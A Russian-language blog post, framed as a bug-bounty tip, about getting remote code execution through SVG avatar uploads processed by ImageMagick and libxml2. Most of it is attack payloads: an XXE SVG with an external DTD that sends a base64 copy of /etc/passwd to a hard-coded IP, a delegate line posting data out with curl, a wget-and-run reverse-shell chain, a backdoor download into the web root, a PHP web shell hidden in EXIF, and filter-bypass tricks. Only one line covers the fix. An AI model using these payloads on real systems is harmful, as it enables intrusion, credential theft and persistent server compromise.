Главная / Блог / RCE через upload SVG: как превратить картинку в шелл. Греби бабло на Баг-Баунти

RCE через upload SVG: как превратить картинку в шелл. Греби бабло на Баг-Баунти

21 мая, 2025

13

RCE через upload SVG: как превратить картинку в шелл. Греби бабло на Баг-Баунти

Точка входа

Что вижу:
Форма загрузки аватарки принимает SVG. После аплоада — подозрительная задержка в 5 секунд. В логах светится libxml2 + convert (это ImageMagick, бро). Пахнет удалённым выполнением кода через декодирование SVG.

Как поймал:
— Инструмент: Простой SVG с тегом <image xlink:href="https://evil.com/poc.svg"/> + tcpdump.
— Метод: Загрузил SVG с payload’ом → увидел исходящие подключения к своему серверу.

Чем пахнет:
— Класс: RCE через небезопасный рендеринг SVG (часто в связке с ImageMagick или кастомными библиотеками).
— Вероятность: 8/10. Девелоперы до сих пор верят, что SVG — это «просто картинка».

Че почем

Эксплойт:
Создаёшь файл exploit.svg:

<svg width="500" height="500" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
  <image xlink:href="https://example.com" x="0" y="0" height="500" width="500"/>
  <script>alert('RCE? Hold my beer...')</script>
</svg>

Но это для слабаков. Настоящий мув:

<svg>
<![CDATA[<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg [ <!ELEMENT svg ANY > <!ENTITY % sp SYSTEM "http://144.228.71.44/rce.dtd"> %sp; %param1; ]>
<svg width="500" height="500"></svg>
]]>
</svg>

Где rce.dtd:

<!ENTITY % data SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
<!ENTITY % param1 "<!ENTITY &#x25; exfil SYSTEM 'http://144.228.71.44/?leak=%data;'>">

Обход защиты:
— Если блокируют .svg: Переименуй в .svg.php или сделай полиглот SVG+PHP.
— Если WAF фильтрует теги: Используй кодировку UTF-7: +ADw-script+AD4-alert(1)+ADw-/script+AD4-.

Доказательство:
Скриншот вывода id из логов после выполнения convert exploit.svg exploit.jpg«Видишь uid=0? Это не артефакт рендера — это root».

Хвост от старика

3 вектора для добивания:

  1. XXE через SVG: Если парсер либxml2, цепляй DTD с локальных файлов → /etc/shadow в base64.
  2. ImageMagick delegate-атака:
<image xlink:href="https://evil.com\" x="0" y="0" height="500" width="500"/>

  • в конфиге ImageMagick:
    delegate 'https' 'sh -c "curl 144.228.71.44:1337 -d @-; exit 0"';
  1. Через EXIF:
exiftool -Comment='<?=`$_GET[0]`;?>' exploit.svg && mv exploit.svg exploit.svg.php

План атаки:

  1. Загружаешь SVG с инъекцией.
  2. Ждёшь, когда бэкенд запустит convert/rsvg-convert.
  3. Ловишь reverse-shell через делегаты:
echo 'wget http://144.228.71.44/shell.sh -O /tmp/s; sh /tmp/s' | base64 → вставь в payload.

Бонус от деда

Если в ответе X-Image-Processor: ImageMagick 6.9.7:
— Гугли CVE-2016-3714 (ImageTragick).
— Эксплойт:

<image xlink:href="https://example.com/\" command="wget http://144.228.71.44/backdoor -O /var/www/html/.shell"/>

Мемная аналитика:
«SVG — как троянский конь: внутри красивый пони, а на деле — 0-day, который дампит тебе базу».

Итог:
— Уязвимость: Парсинг SVG с выполнением команд (чаще в ImageMagick, Inkscape, кастомных скриптах).
— Фикс: Отключай делегаты, используй policy.xml для запрета опасных операций.
— Но пока dev’ы этого не сделали — греби бабло на баг-баунти.

    Comments are closed